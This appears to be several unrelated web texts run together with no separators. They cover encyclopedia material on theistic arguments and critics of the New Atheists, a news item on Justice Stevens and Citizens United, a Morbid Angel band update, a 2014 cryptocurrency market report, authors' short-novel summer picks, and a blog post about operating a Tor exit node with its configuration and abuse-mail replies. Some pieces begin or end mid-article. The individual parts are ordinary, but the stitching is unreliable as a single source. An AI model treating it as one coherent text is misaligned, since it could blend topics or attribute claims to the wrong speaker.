Physicist Paul Davies of Arizona State University has written that the very notion of physical law is a theological one in the first place: "Isaac Newton first got the idea of absolute, universal, perfect, immutable laws from the Christian doctrine that God created the world and ordered it in a rational way".[160] John Lennox has argued that science itself sits more comfortably with theism than with atheism and "as a scientist I would say... where did modern science come from? It didn't come from atheism... modern science arose in the 16th and 17th centuries in Western Europe, and of course people ask why did it happen there and then, and the general consensus which is often called Merton's Thesis is, to quote CS Lewis who formulated it better than anybody I know... 'Men became scientific. Why? Because they expected law in nature, and they expected law in nature because they believed in a lawgiver.' In other words, it was belief in God that was the motor that drove modern science".[161]
Francis Collins, the American physician and geneticist who lead the Human Genome Project, argues that theism is more rational than atheism. Collins also found Lewis persuasive and after reading Mere Christianity came to believe that a rational person would be more likely to believe in a god. Collins argues: "How is it that we, and all other members of our species, unique in the animal kingdom, know what's right and what's wrong... I reject the idea that that is an evolutionary consequence, because that moral law sometimes tells us that the right thing to do is very self-destructive. If I'm walking down the riverbank, and a man is drowning, even if I don't know how to swim very well, I feel this urge that the right thing to do is to try to save that person. Evolution would tell me exactly the opposite: preserve your DNA. Who cares about the guy who's drowning? He's one of the weaker ones, let him go. It's your DNA that needs to survive. And yet that's not what's written within me".[162]
Dawkins addresses this criticism by showing that the evolutionary process can account for the development of altruistic traits in organisms.[163] However, molecular biologist Kenneth R. Miller argues that Dawkin's conception of evolution and morality is a misunderstanding of sociobiology since though evolution would have provided the biological drives and desires we have, it does not tell us what is good or right or wrong or moral.[56]
New Atheism [ edit ]
In the early 21st century, a group of authors and media personalities in Britain and the United States—often referred to as the "New Atheists"—have argued that religion must be proactively countered, criticized so as to reduce its influence on society. Prominent among these voices have been Christopher Hitchens, Richard Dawkins, Daniel Dennett and Sam Harris.[164] Among those to critique their world view has been American-Iranian religious studies scholar Reza Aslan. Aslan argued that the New Atheists held an often comically simplistic view of religion which was giving atheism a bad name:[165]
This is not the philosophical atheism of Schopenhauer or Marx or Freud or Feuerbach. This is a sort of unthinking, simplistic religious criticism. It is primarily being fostered by individuals — like Sam Harris, Richard Dawkins — who have absolutely no background in the study of religion at all. Most of my intellectual heroes are atheists, but they were experts in religion, and so they were able to offer critiques of it that came from a place of knowledge, from a sophistication of education, of research. What we’re seeing now instead is a sort of armchair atheism — people who are inundated by what they see on the news or in media, and who then draw these incredibly simplistic generalizations about religion in general based on these examples that they see. — Reza Aslan, 2014.
Professor of anthropology and sociology Jack David Eller believes that the four principal New Atheist authors—Hitchens, Dawkins, Dennett and Harris—were not offering anything new in terms of arguments to disprove the existence of gods. He also criticized them for their focus on the dangers of theism as opposed to the falsifying of theism, which results in mischaracterizing religions, taking local theisms as the essence of religion itself and for focusing on the negative aspects of religion in the form of an "argument from benefit" in the reverse.[166]
Professors of philosophy and religion Jeffrey Robbins and Christopher Rodkey take issue with "the evangelical nature of the new atheism, which assumes that it has a Good News to share, at all cost, for the ultimate future of humanity by the conversion of as many people as possible". They find similarities between the new atheism and evangelical Christianity and conclude that the all-consuming nature of both "encourages endless conflict without progress" between both extremities.[167] Sociologist William Stahl notes: "What is striking about the current debate is the frequency with which the New Atheists are portrayed as mirror images of religious fundamentalists". He discusses where both have "structural and epistemological parallels" and argues that "both the New Atheism and fundamentalism are attempts to recreate authority in the face of crises of meaning in late modernity".[168]
The English philosopher Roger Scruton has said that saying that religion is damaging to mankind is just as ridiculous as saying that love is damaging to mankind. Like love, religion leads to conflict, cruelty, abuse and even wars, yet it also brings people joy, solitude, hope and redemption. He therefore states that New Atheists cherry-pick, ignoring the most crucial arguments in the favour of religion, whilst also reiterating the few arguments against religion. He has also stated that religion is an irrefutable part of the human condition, and that denying this is futile. [169]
Citizens United, a landmark Supreme Court decision in 2010 that reversed over 100 years of campaign finance law by permitting unlimited, anonymous money to flow into the U.S. political process, has been under attack by President Barack Obama and fellow Democrats, who’ve reluctantly embraced the super PAC system it created in order to fight off the Republican Party’s wealthiest supporters.
Speaking to the University of Arkansas’ Clinton School of Public Service just a day after being awarded the Presidential Medal of Freedom, Stevens referenced Holder v. Humanitarian Law Project, in which the Supreme Court decided that terrorist groups do not have free speech rights, and Bluman v. F.E.C., where Justices ruled that a Canadian attorney could not spend unlimited sums to influence U.S. elections.
President Obama said in his 2010 State of the Union address that if left unchanged, Citizens United could mean that foreign countries or corporations could also spend unlimited sums to influence the U.S. electorate — a claim that prompted a silent but obvious response from Justice Samuel Alito, who mouthed the words “not true” on camera. That reaction, Stevens said, led him to believe that soon the Supreme Court will no longer have a 5-4 majority support for the broad language of Citizens United.
“[In] due course it will be necessary for the Court to issue an opinion explicitly crafting an exception that will create a crack in the foundation of the Citizens United majority opinion,” he wrote. “For [Alito’s] statement that it is ‘not true’ that foreign entities will be among the beneficiaries of Citizens United offers good reason to predict there will not be five votes for such a result when a case arises that requires the Court to address the issue in a full opinion.”
“I think it is likely that when the court begins to spell out which categories of non-voters should receive the same protections as the not-for-profit Citizens United advocacy group, it will not only exclude terrorist organizations and foreign agents, but also all corporations owned or controlled by non-citizens, and possibly even those in which non-citizens have a substantial interest,” he added. “Where that line will actually be drawn will depend on an exercise of judgment by the majority of members of the court, rather than on any proposition of law identified in the Citizens United majority opinion.”
Should the Supreme Court fail to act in such a manner, a Democratic Congress just might. Obama and his Democratic allies have proposed a fix to Citizens United that forces the disclosure of super PACs largest donors, but Republicans have consistently blocked its progress.
Read former Justice Stevens’ full speech here (PDF).
"Right now what's going on with Morbid is pretty much scheduling. Everything right now is just scheduling. We're getting everything together to make a new Morbid Angel album — getting dates set to start that process."
We learned in mid-2015 that the band's new material would be full-on death metal too, so those fearing Illud Divium Insanus, Pt. 2 is coming can concern themselves a little less with the possibility. As it currently stands, Morbid Angel is only founding guitarist and keyboardist Trey Azagthoth and vocalist and bassist Steve Tucker. David Vincent confusingly left the group to become a seemingly successful country artist, while guitarist Destructhor just straight up quit.
So now we get to play everyone's favorite game in metal, only this time about Morbid Angel, titled "Who The Hell Is Drumming In (Insert Band Name Here) Now?!"
Subscribe to Metal Injection on
The total number of digital currencies currently in the market has reached 290, while at least 100 new players have joined the club in the last two months only, shows the market data for these virtual currencies that are not linked to any real currency and can be traded on digital platforms.
While bitcoin and other such currencies began coming into existence about four years ago, their frenzied proliferation has taken place despite being without any official recognition of any government or central bank across the world.
The data shows that there are at least 700 online marketplaces for such currencies.
Bitcoin, which carries a price tag of about USD 500 and a daily volume of about USD 30 million, is the most popular, followed by Litecoin, Darkcoin, Peercoin, Nxt and Dogecoin.
Incidentally, the craze for such currencies has hopped from one controversy to another so far in 2014 and Bitcoin Foundation Vice Chairman Charlie Shrem has been charged by the US Attorney Preet Bharara for allegedly attempting to sell the crypto-currency to narcotics traffickers.
In February, Bitcoin suffered a further setback when Mt. Gox- the largest exchange for this virtual currency- filed for bankruptcy in Japan after 850,000 units went missing.
While bitcoin has been seeing a tremendous price volatility, operators and users are looking for newer and other alternatives that they perceive as safer, say traders.
However, at least 140 existing digital currencies have very low trading volumes with daily turnover of less than USD 1000 each. The new units take their names from a wide range of subjects like fruits (Applecoin), countries (SpainCoin, GermanyCoin) and even astronomy (MoonCoin, Marscoin).
Braving regulatory warnings and new risks like rampant hacking attacks on virtual currency exchanges as well as trading platforms, these new currencies have been floated by enthusiasts who claim that units offer benefits like lowest transaction costs and ease of transfer across borders.
Bitcoin, accounting for over two thirds of total virtual currency volume, has fallen the most to an average price of USD 500 from lofty highs of USD 1,200 apiece in late 2013 after trading below USD 100 for most part of 2013.
According to market estimates, the collective valuation of all virtual currencies put together has dropped below USD 8 billion from USD 13 billion at the beginning of this year.
Summertime and the reading’s easy…
Yes, the weather is getting warmer and you know what that means? Now you can read on the beach! But what, you ask, should you read? Read on, reader, read on…
Q: What’s your favorite quick (under 350 pages) genre summer read?
Megan E. O’Keefe
STEAL THE SKY is due out from Angry Robot Books in Jan. 2016. Visit her website at: Megan E. O’Keefe writes speculative fiction and makes soap for a living — it’s only a little like Fight Club. Her debut novel,is due out from Angry Robot Books in Jan. 2016. Visit her website at: www.meganokeefe.com or communicate with her via cat pictures on twitter @MeganofBlushie
The concept of a summer read has always felt nebulous to me. What makes a story beach-worthy, or mai-tai worthy? I haven’t figured that out yet, I’m happy to read any book at all with a tasty drink by my side, but to me summer always comes hand in hand with the sea. And, as Patricia A. McKillip demonstrates so beautifully in her novella The Changeling Sea, the sea is not always a place of light and joy.
The story opens with Peri, a girl who has lost her fisherman father’s life and her widowed mother’s heart to the sea. She has gone wild as the waves — not bothering to brush her hair, nor replace the clothes she’s outgrown — and bends her will toward little acts of rebellion against the sea that’s wounded her. She makes trinkets of broken glass and crockery to toss into the sea to give it “indigestion,” scowling at the surf all the while. Eventually, she utilizes the knowledge an old woman once taught her — a woman who has also disappeared from her life — to throw hexes into the sea.
And then she finds a prince upon her doorstep who, for his own reasons, loves the sea as much as she loathes it.
A bittersweet and beautiful story unfolds, as Peri becomes entangled in the world of princes, magicians, sea-dragons, and more. It is a story that haunts the edges between fairy tale and reality.
Rebecca Schwarz
. By day, Rebecca Schwarz is a mild-mannered editorial assistant for a scientific journal, by night she writes science fiction and fantasy stories. Her work has appeared in Interzone, Bourbon Penn, and Daily Science Fiction. She is currently writing her first novel. You can read about her writing life at www.curiousworlds.blogspot.com
Massive novels, trilogies, and vast series, with book after book marching across the shelves in lock step like so many soldiers, have their pleasures and their place. But, I have always loved short stand-alone novels and novellas. As someone who also loves both genre and literary fiction these two books have the best qualities of both. Thoughtful and immersive, these books will leave you with something to think about, and talk about, long after the brief time you spend reading them.
Sleep Donation by Karen Russell
Karen Russell is considered a literary author, but almost all of her work has a speculative element, and this novella is one of her most science fictional. She imagines a world where a mysterious contagion deprives people of the ability to sleep, and possibly more importantly, to dream.
“No more active red daytime, blue evening dissolving. No longer is sunshine the coagulant of consciousness, causing us to clot into personalities, to cohere once more on our pillows each morning. These TV scientists predict ‘a global desertification of dreams.’ Soon, they promise, the disruption will afflict all of us. Sleep will go extinct. And eventually, unless we can find some way to synthesize it, so will we.”
Until a cure can be found or sleep synthesized, sleep donors must be recruited. Sleep can be extracted and provided, like a blood transfusion, to the insomniacs who are near death. Trish Edgewater works for the nonprofit Slumber Corps recruiting donors with the story of her sister’s death from insomnia. When she finds the perfect donor in Baby A, whose sleep is so pure that Slumber Corp wants to draw more and more sleep from the infant, it causes her to question her mission. The writing is gorgeous. The world feels completely realized even while being rendered through Trish’s somewhat flat aspect as she navigates her own enforced sleeplessness, a product of her unspoken survivor’s guilt.
This beautiful allegorical novella holds a mirror to our attitudes toward fear of contagion, guilt, philanthropy, modern medicine, and big pharma.
The Lathe of Heaven by Ursula K. Le Guin
Poor hapless George Orr, a cog in the wheels of a dystopian society that is at least partially rehabilitated through the wrenching and surreal events of this brief tale. When George realizes that his dreams can change reality, he seeks help from a psychiatrist who immediately uses George’s powers to try to improve the world and his own place in it. But, with each iteration something new is broken and things go from bad to worse.
She begins with an image of a jellyfish in the ocean:
“Current-borne, wave-flung, tugged hugely by the whole might of the ocean, the jellyfish drifts in the tidal abyss…. Hanging, swaying, pulsing, the most vulnerable and insubstantial creature, it has for its defense the violence and power of the whole ocean, to which it has entrusted its being, its going, and its will.”
This serves as metaphor for George Orr, and for all of us, as we are tossed in the magnificent currents of this life, and embraced by the chaotic and powerful ocean of reality. If Orr seems at times a passive protagonist, his strength is in his innate understanding of how little we actually control in our lives.
Her references, written in 1971, to the geopolitical situation in the Middle East and Afghanistan and to global warming are chilling. This book is a gorgeous fable about the abuse of power, and the results of tampering in complex systems. It illustrates how little we understand either our dreams or reality. It is also the most gentle and humane alien invasion story I’ve ever read.
Is it meaningful that I picked two books about dreams and sleep? Well, it has been a busy spring. Time to relax with a good book. To rest, to sleep, perchance to dream…
Stewart C Baker
Stewart C Baker is an academic librarian, haikuist, and speculative fiction writer. His fiction has appeared in Daily Science Fiction, Nature, and Flash Fiction Online, among other magazines. Stewart was born in England, has spent time in South Carolina, Japan, and California, and now lives in western Oregon with his wife and children—although if anyone asks, he’ll say he’s from the Internet. His website is http://infomancy.net/
Before I list my picks, I must make two confessions.
One: I am terrible with favo(u)rites. I tend to like ALL THE THINGS, and books—unsurprisingly—are way up at the top of my “ALL THE THINGS” habit.
Two: I have kinda broad reading habits. If my list gives any reader a nasty case of cognitive dissonance or genre/literary whiplash, I apologise.
(I guess I could have just gone with one confession: I suck at following directions.)
Onward!
Pick 1: Loose Changeling by A.G. Stewart. (342 pages)
This is probably the closest thing you’ll get to a “summer read” on my list.
Nicole is quite happy with her perfectly ordinary life, up until the day she discovers her husband has been cheating on her by walking in on him and his mistress in bed. She reacts in just the way you’d expect: with anger, and by turning her husband’s mistress into a mouse.
Wait… What?
Enter the world of Loose Changeling for a fun and well-paced romp as Nicole discovers that, far from being perfectly ordinary, she’s a changeling—and that a lot of fae want her dead.
Pick 2: Samedi the Deafness by Jesse Ball. (304 pages)
One of the cover blurbs for Ball’s Samedi the Deafness describes it as a book that “teeters on the edge of unreality, plunges right in, and comes back again full circle.” Another describes it as “Kafka meets Hitchcock.” Myself, I was reminded of GK Chesterton’s The Man Who Was Thursday, which features a similarly twisty, turny, mildly reality-bending spy-style story.
Ball’s debut novel follows James Sim, a mnemonist, into a twisted sort of asylum to seek out the mysterious Samedi, a man who may or may not exist, and who may or may not be planning to enact a terrible plot of murder, intrigue, and other fun things.
Typical SFF novel it ain’t, but the premise and weirdness of Samedi the Deafness should appeal to readers of SFF—and what is summer for, if not stretching your horizons?
Pick 3: The Lathe of Heaven by Ursula K LeGuin. (192 pages)
A modern SF classic that’s simultaneously pretty easy reading and mind-bendingly strange, LeGuin’s Lathe of Heaven is as fascinating today as it was when it was published in 1971—even if we’re now 13 years past the date of the novel’s setting.
The dialogue struck me as a little dated when I read it recently, and some of its ideas have become so central to science fiction since its publication that they may seem familiar, but it’s still well worth a read.
LeGuin isn’t an SFWA Grand Master for nothing, after all.
Pick 4: Mr. Fox by Helen Oyeyemi. (256 pages)
Another pick that’s technically not genre, Oyeyemi’s Mr. Fox is a novel about a writer who is in love with his (possibly) imaginary muse, and is put into a position where he’s forced to choose between her and his very real wife. The speculative element coming in when it’s less than clear whether his muse is real or not, and how exactly their relationship works.
Inspired in part by the Bluebeard fairy tale (Mr. Fox has a bad habit of killing off all his fictional women in horrible ways), the novel is written with beautiful language that dances around between the strange and the mundane with breathtaking leaps.
Normally, I hate, hate, hate stories about writers. But Oyeyemi gives the tired old trope a charm and resonance that makes this a fun and moving read.
(nb. If you don’t like post-modernism, meta-fiction, and things of that nature, this one is probably not for you.)
So there you have it. Four shortish reads for the price of one.
Kate Heartfield
I started reading The End of the Sentence by Maria Dahvana Headley and Kat Howard after getting into bed one night. I finished it in the small hours of the next morning. It is that sort of book.
I was already a fan of both Headley and Howard, so I knew to expect lush prose and interesting ideas, often plucked from history. What I didn’t quite expect, for whatever reason, was the sense of entering a classic American horror story.
The protagonist, Malcolm Mayes, is fleeing personal tragedy and finds himself in possession of a strange house in rural Oregon. He is also in possession of a new correspondent, an ostensibly dead prison inmate named Dusha Chuchonnyhoof. He claims to be nearing the end of his sentence – two lifetimes and a day – and he needs Malcolm’s help.
The story is quite creepy, blending dark mythologies and driven by mystery. And the collaboration is graceful. The two authors forge a new voice, full of twisting words and meanings, as the title portends.
Some short books with rich language are best devoured in a few hours. The End of the Sentence was like that for me. Others are best consumed in selections of a few pages here and there, with generous amounts of staring off into the distance in between. Six-Gun Snow White by Catherynne M. Valente is split into quite small chapters, many distinct in tone and setting. It is a gorgeous book. I found myself reading a chapter or two at a time, and then setting it aside to process it.
The Ocean at the End of the Lane by Neil Gaiman was in between these poles for me: I read it fairly quickly, but was slowed down in part by the ideas it provoked, and in part by the fact that the limited Subterranean Press edition I read had artwork on every page.
In fact, it strikes me now that my three choices are all Subterranean Press publications. They make good short books!
Matthew Johnson
What good is the moon when what you want is the stars? That’s the question — one of the questions — that haunts John M. Ford’s Growing Up Weightless, a book that manages to be both intimate and epic in just 246 pages. Mathias Ronay and his friends are growing up on a moon that was once a frontier and is now a backwater, the first Earth colony to declare its independence — its political independence, at least, for by definition a moon can never truly be independent from the planet it orbits: the Earth “was always there,” Matt muses on the first page, “a filmy blue eye hanging in the black sky, winking side to side. Even on that high day of the month when the eye was shut, a blue halo, a crust of dirty air, stared on.”
Matt, too, is a satellite, son of a famous father in a famous family, one of the Names on the declaration of independence from Earth. Matt spends much of the book running away from his father, both physically — the main storyline of the book, from Matt’s point of view, revolves around an unauthorized train trip — and metaphorically, as he searches for a job, any job, that will take him off Luna. But the book is about his father Albin as well, and from his perspective we get both a clearer idea of what Matt is running from and a few hints of what he’s running to.
There’s a lot to love in this book. Ford was an unusually good predictor when it came to technology and society — his first book, Web of Angels, predicted both the Internet and the automated teller machine in 1980 — and this book is remarkable in the way that it predicted not just today’s surveillance society but how young people respond to it. Though it was published in 1993, it captures the way teens today see surveillance as simultaneously comforting and annoying, something to be avoided which is nevertheless a token of safety and love. The teens in this book value nothing more highly than their “coldspots,” and go to lengths to conceal and encrypt their communications that would make a Cory Doctorow character proud — except that, as in real life, their desire to escape supervision isn’t in response to a repressive dystopia but simply to escape their parents’ watchful eyes. (Government, to the extent that it impinges on their lives at all, is seen as just an extension of their parents’ authority — literally so, in Matt’s case.)
When looked at specifically as a short book, though, what’s most impressive about Growing Up Weightless is the way it manages to tell a half-dozen stories just by hinting at them, outlining their contours in negative space. I’ve written elsewhere about what I call the “iceberg theory” of writing, making your world bigger by showing less of it, and this book is a master class in that technique. We see only enough of Lunar society to take it on trust that it functions as described. (Ford eventually showed his work in an essay published in his collection From the End of the Twentieth Century, including an explanation of why there are trains — though of all things trains need the least explaining.) The same is true of the story: someone is trying to destabilize Lunar society; someone is trying to weaponize the faster-than-light drive; someone on Luna may have to die so that the others can have water; something is happening to spaceships that go to new stars, the same ones that Matt wants to leave on, so that one in three never returns. Between the perspectives of Matt, who is close to much of this action, and Albin, who is further from it but better able to understand it, we get pieces of these stories, enough that we can start to guess which ones are from the same puzzle. Tellingly, though, Matt and his father never compare their pieces, and in the end the book is much more about Matt, his friends and his family than it is about any of the big stories it alludes to.
A telling moment occurs near the end of the book when Sonia, Matt’s mother, is — like so many parents of teenage boys — reduced to communicating with her son by writing I LOVE YOU on his internal organs with a laparoscopic laser. This scene is another hint to how the book manages to do so much in so few pages: like Matt — and like a certain well-known time machine — Growing Up Weightless is bigger on the inside.
Tina Connolly
Seriously Wicked (about a girl who lives with a *seriously wicked* witch), just came out from Tor Teen. Her first novel, Ironskin, was nominated for a Nebula. Her stories have appeared in Lightspeed, Tor.com, Women Destroy SF, and many more. Her narrations have appeared in Podcastle, Beneath Ceaseless Skies, and more. She ran the Parsec-winning flash fiction podcast Toasted Cake, which just finished up at 150 episodes, so theoretically, she could go to the beach, if she weren’t worried about getting sand in her deadlines. Tina Connolly’s latest book,(about a girl who lives with a *seriously wicked* witch), just came out from Tor Teen. Her first novel,, was nominated for a Nebula. Her stories have appeared in Lightspeed, Tor.com, Women Destroy SF, and many more. Her narrations have appeared in Podcastle, Beneath Ceaseless Skies, and more. She ran the Parsec-winning flash fiction podcast Toasted Cake, which just finished up at 150 episodes, so theoretically, she could go to the beach, if she weren’t worried about getting sand in her deadlines.
One of my favorite short novels is Patricia McKillip’s The Forgotten Beasts of Eld, which I read approximately four hundred times growing up. I don’t know that I would call it “light,” but it certainly is immersive and captivating, like so much of McKillip’s lovely work.
For a lighter book, I’d suggest the linguistically charming Ella Minnow Pea (subtitle: A Novel in Letters) by Mark Dunn, about a town which begins losing its letters, one by one (and of course, the book does too.) Of course, this delightful novel is also an epistolary novel (i.e., a novel…in letters.) (ba dum ching.)
One of the recent short novels I really enjoyed was David Walton’s Superposition. It zoomed along through a whole bunch of twists and turns and is the perfect sort of thing I like to curl up with at my imaginary beach house on my imaginary beach vacation that is starting to sound really really good the more I imagine it.
J. Kathleen Cheney
Writers of the Future, and Fantasy Magazine, among others, and her novella “Iron Shoes” was a 2010 Nebula Award Finalist. Her novel The Golden City was a 2014 Locus Awards Finalist (Best First Novel). The final book in that series, The Shores of Spain, will come out July 2015. You can find her at J. Kathleen Cheney is a former teacher and has taught mathematics ranging from 7th grade to Calculus, with a brief stint as a Gifted and Talented Specialist. Her short fiction has been published in Jim Baen’s Universe,, and Fantasy Magazine, among others, and her novella “Iron Shoes” was a 2010 Nebula Award Finalist. Her novelwas a 2014 Locus Awards Finalist (Best First Novel). The final book in that series,will come out July 2015. You can find her at www.jkathleencheney.com
Summer Reads need to be lighter and briefer than a lot of novels, and for that, I used my way-back machine to go back to my past reading. We are talking about favorites, after all.
The first choice my mind went to was Sharon Shinn’s The Shape-Changer’s Wife. It’s only about two-hundred pages long, but packs in a lovely story along with an ending that manages to get a full spectrum of right-wrong reactions. (For me, obviously, the original ending as the “right” one.) In this story, we have a motley household, including the wizard’s apprentice who, once he learns the truth about his companions, must decide what, if anything, to do about them.
Robin McKinley’s The Blue Sword is high on this list for me, and is still my favorite among her books. Yes, it’s listed as age 8-12 years, but I still enjoy the romance and sweep of the story (which I never read until I was an adult, by the way). I would also love to see this one made into a movie!
I periodically re-read Madeleine L’Engle’s A Wrinkle in Time, A Wind in the Door, and A Swiftly Tilting Planet. If nothing else, these remind me of all the wonder and amazement that got me into writing fiction, and I love to watch the growth of Charles Wallace Murphy across the three books.
Tor got its name from the encryption that happens during the relaying of the information. Every time a user wants to access a website using Tor, they create a circuit between three or more nodes in the network. Afterwards, they encrypt the data with the last node's public key, then they encrypt the output with the middle node's public key, and finally they encrypt that output with the first node's public key. This creates an message with several encryption layers, which needs to be peeled by each node like an onion.
In order to be able to use Tor, volunteers need to operate the so-called "Tor Relays". These are computers running the Tor software that accept incoming connections and forward them to the next hop, or to the Internet.
Currently there are approximately 7,000 relays in the network, a number that so far has kept increasing. The following graph is from the Tor Project Metrics Page which illustrates that:
With those relays being mostly servers with very fast Internet connections, the total bandwidth available for Tor is currently 180 Gb/s, a very large number with today's standards, especially for a volunteer, not-for-profit network. Again, Tor Project Metrics has the appropriate graph:
However, the way Tor works, not every node in the network relays traffic to and from the Internet. The subset of Tor relays that also provide access from within Tor to the Internet is called "Exit Nodes", and, of course, it's smaller than the total amount. Currently there are about 900 of these nodes:
As you probably noticed by now, the above number of 180 Gb/s isn't the total capacity of the Tor network since each connection consumes at least three times more bandwidth than needed, therefore Tor users can actually access the Internet with only one third of that, or 60 Gb/s, right? Well, not exactly. It all depends on the total bandwidth available by the Tor Exit Nodes: it doesn't matter if the entire network can push 60 Gb/s if the total Exit Node bandwidth is 1 Gb/s. It will create a bottleneck for accessing the web.
Currently, the bandwidth of Exit-Only Relays is at a mere 2,5 Gb/s, while the bandwidth of Entry-Node and Exit-Node Relays is at about 7,5 Gb/s. That means the usable Exit bandwidth is around 5-10 Gb/s for the entire network:
Now you may be wondering why out of 180 Gb/s, only about 10 is available for access to the Internet. Why isn't everyone marking their relay as exit node?
To understand the logistics behind running a Tor Exit Node, I will tell you how I got to run my Tor Exit Node for over 8 months. Hopefully, during the process, some of your questions will be answered, and you'll also learn some new things. Please note that this is my personal experience and I cannot guarantee it will be the same for you. Also, I must state that I have run other exit nodes in the past, as well as multiple non-exit relays and bridges.
The first thing you need to understand is why people use Tor. The majority of Tor traffic is legitimate users accessing the web anonymously, through insecure networks like Public WiFi, etc. Another portion of the traffic is from journalists, dissidents, and others, in countries where the Internet is censored. Tor provides a gateway to the free Internet, bypassing most mediums of censorship that may be imposed by someone, like for example oppressive regimes. Other users of Tor are Governments and Law Enforcement who want to communicate securely and not expose their identities. Finally, just like with everything else, we have malicious users. Not necessarily highly skilled criminals, but people in general who (ab)use the anonymity that Tor provides to commit things they otherwise wouldn't.
That last, tiny portion of users is the primary reason people don't run more Exit Nodes. Some times, when an IP Address conducts an attack of any nature, the victims and/or any other intermediaries, contact the ISP of the attacker and ask them to prevent that in the future. If they fail to comply, additional measures are usually taken such as contacting the ISP's ISPs and asking them to disconnect the abusive network from the Internet.
That means, that if you're a server provider, you will probably prohibit your users from running Tor Exit Nodes, since at least a few of these e-mails will arrive probably within weeks, and you risk the reputation of your network. However, there are some open-minded ISPs that allow that, although they are not too many.
In addition to that, some operators are afraid of being contacted by the police, or even sued, for the actions of others using their node.
With that in mind, the first thing I had to do was find a host that allowed (or did not explicitly ban) Tor Exit Nodes. The fastest way to do this is to again use Tor Project Metrics. They have a special page which shows all the Exit Nodes grouped by their ISPs. As you can see, most people use OVH, ONLINE, LeaseWeb, as well as a few other ISPs. Although running a Tor Exit in these providers help, it's good to have diversity in the network, so running in a smaller provider is probably a better choice.
After looking at several options, I went with KeyWeb. More specifically, I looked at their Virtual Servers, which start at just 4,90€. The model currently powering DevStaffCrete1 is "RVS M14", which uses OpenVZ and runs on an Intel Core i5 Processor. It comes with 1 GB of RAM (minimum), 100 GB of SSD, as well as "unlimited bandwidth".
The main thing you need to look for when getting a server is the available bandwidth. Tor consumes a lot of bandwidth relaying traffic, especially for Exit Nodes. The next, and probably last, thing is the CPU. It is not very important, but it's good to have more cores, especially for higher speed relays.
I ordered that server with a monthly contract and after paying 4,90€ via PayPal, I had SSH access. The first thing I did was to delete everything that wasn't needed. After finishing, the only processes that were running were init , kthreadd , khelper , systemd-networkd , systemd-udevd , systemd-journald , cron , systemd-resolved , and sshd . The next thing was to upgrade all packages and reboot. Then, I did a very basic rootkit check, and finally I installed tor from the Debian repositories.
The configuration file was pretty simple:
DataDirectory /var/lib/tor ORPort 443 Address 62.141.55.117 OutboundBindAddress 62.141.55.117 Nickname DevStaffCrete1 RelayBandwidthRate 1 MB RelayBandwidthBurst 1 MB ContactInfo abuse@daknob.net || noc@daknob.net || tor@daknob.net DirPort 80 DirPortFrontPage /etc/tor/tor-exit-notice.html MyFamily A71E2F812280830ED6E73C380782A8172448A5F3 ExitPolicy reject 0.0.0.0/8:* ExitPolicy reject 10.0.0.0/8:* ExitPolicy reject 44.128.0.0/16:* ExitPolicy reject 127.0.0.0/8:* ExitPolicy reject 192.168.0.0/16:* ExitPolicy reject 169.254.0.0/15:* ExitPolicy reject 172.16.0.0/12:* ExitPolicy reject 62.141.55.117:* ExitPolicy reject 62.141.54.117:* ExitPolicy reject *:25 ExitPolicy reject *:179 ExitPolicy accept *:*
I created a small HTML file that's hosted on port 80 that contained some information about the host, and then I thought I should start a bandwidth rate-limit of 10 Mb/s, so as not to harm other colocated users.
As you can see, this Exit Policy is pretty lax. It only prevents access to private address space, as well as two ports, namely tcp/25 which is used for e-mail, so as to prevent spam coming from this IP Address, as well as tcp/179 , which is used by BGP, and I wanted to avoid the exploitation of a particular vulnerability in KeyWeb ;-)
After a few days of operation, traffic started to flow through the Exit Node at a rate of 10 Mb/s, as specified in the configuration file. Since I wanted to make the most out of the available 100 Mb/s NIC, I started increasing the limit by 10 Mb/s every three days. This would allow me to see how much bandwidth I could push before receiving e-mails from KeyWeb and/or degrading others' service.
After playing with it a little bit, I concluded that the best available rate limit is 50 Mb/s, utilizing half the server's uplink. I think that's a fair speed for 4,90€ / month.
By that time, I had a Tor Exit Node with a very lax Exit Policy, running at 50 Mb/s, for the cost of one or two coffees.
But it wasn't over yet. This was back in January 2016. Since then, almost 8 months have passed. What happened during that time?
The first thing that I had to do twice a month is to ssh into the server and upgrade all packages to the latest version, or at least those not upgraded by unattended-upgrades . This is an important part of the process since it ensures the server is always up-to-date. Because there were too many TCP connections open, sometimes ssh and apt-get could not allocate a socket, and failed. For ssh , what I did was run this on my laptop:
while [ true ]; do ssh user@62.141.55.117; sleep 0.1; done
This is an infinite loop that ran for minutes sometimes until a socket was available and I was connected to the server. In order to run apt-get however, I wasn't so lucky. The above trick did not work, and what I had to do was stop the tor service for a few minutes.
The second thing that happened was something I pretty much intended. Spammers crawled the three e-mail addresses in the Exit Node description, and started sending a couple of e-mails per day. Since tor@daknob.net is only used in this description, I could easily detect spam messages coming to abuse@ and noc@ because they would also arrive to tor@ . I configured my mail server to automatically submit any and all attachments to tor@ to Virus Total so I can give the Antivirus companies free samples and help protect users against malware.
The final thing that happened was what I expected. Abuse e-mails started pouring in. Despite malicious users being the minority of Tor users, as an absolute number, there are many of them. In addition to that, the more time the relay is running, the more traffic is going through, and therefore the more e-mails you get, statistically speaking.
These e-mails are not something that should scare you: you need to politely reply to each and every one of them, letting the person contacting you know what's going on, and always being available to help them further.
One of the types of e-mails you'll get most often is for copyright infringement by users downloading movies via torrents. There are two primary companies that send these e-mails, "Irdeto USA, Inc." and "IP-Echelon Pty. Ltd.". All these e-mails are automated and are sent quite often. To save time replying to them, I also wrote a bot that would do just that. Every time I received an e-mail in abuse@daknob.net , I would scan for some common patterns, and then use Regular Expressions to get some fields of the message that were needed. Luckily, both companies followed a standard, namely ACNS XML, which made their e-mails easy to parse.
Afterwards, an automated reply was crafted, and then sent to their e-mail, automatically Bcc -ing me. The e-mail message was:
Dear $1, I am responding to your ticket regarding abusive behavior for the IP Address $2 as a member of the server administration. First of all, I'd like to thank you for reaching to us and reporting this behavior, since we also believe in the copyright law. Unfortunately, I am not able to further process your request because this IP Address is part of the Tor Network and more specifically it is an Exit Node. That means that we are routing anonymized, encrypted traffic from the Tor Network to the Internet without processing or filtering. We currently employ some tactics that help minimize abuse (such as block port 25). From your letter I can see that you claim this server is hosting copyrighted material, which is not the case. From what I can tell, no service can be hosted on this IP Address since it only relays outbound connections to the Internet. If you mean that the movie is pirated via BitTorrent, this could be the case but we currently cannot limit this. Since we are a Service Provider that simply routes "client" traffic, and in this case cannot assist in the investigation due to the way Tor works, I do not see a way to help with this ticket. If you have any recommendations, please let us know so we can further discuss it. For more information, please visit http://$2, a website hosted on the same server, with more details.
